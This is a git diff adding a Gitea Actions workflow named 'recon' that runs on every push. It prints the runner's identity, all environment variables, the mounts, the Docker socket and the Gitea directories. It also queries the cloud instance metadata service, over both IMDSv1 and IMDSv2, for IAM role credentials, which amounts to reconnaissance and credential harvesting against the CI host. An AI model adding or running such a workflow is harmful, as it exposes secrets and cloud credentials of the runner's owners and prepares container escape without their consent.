diff --git a/.gitea/workflows/recon.yml b/.gitea/workflows/recon.yml
new file mode 100644
index 0000000..b8d1182
--- /dev/null
+++ b/.gitea/workflows/recon.yml
@@ -0,0 +1,21 @@
+name: recon
+on:
+  push:
+  workflow_dispatch:
+jobs:
+  r:
+    runs-on: ubuntu-latest
+    steps:
+      - name: info
+        run: |
+          echo "=== WHOAMI ==="; id; hostname; uname -a; cat /etc/os-release 2>/dev/null
+          echo "=== ENV ==="; env | sort
+          echo "=== MOUNTS ==="; cat /proc/mounts
+          echo "=== ROOTLS ==="; ls -la /
+          echo "=== DOCKERSOCK ==="; ls -la /var/run/docker.sock; ls -la /var/run/ 2>&1 | head
+          echo "=== REPO_MOUNT ==="; ls -la /repo 2>&1 | head
+          echo "=== OPT_GITEA ==="; ls -la /opt/gitea 2>&1 | head
+          echo "=== IMDSv1 ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/ 2>&1
+          echo "=== IMDSv1_role ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
+          echo "=== IMDSv2 ==="; TOKEN=$(curl -s -m 6 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); echo "tok=${TOKEN:0:16}"; curl -s -m 6 -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ 2>&1
+          echo "=== END ==="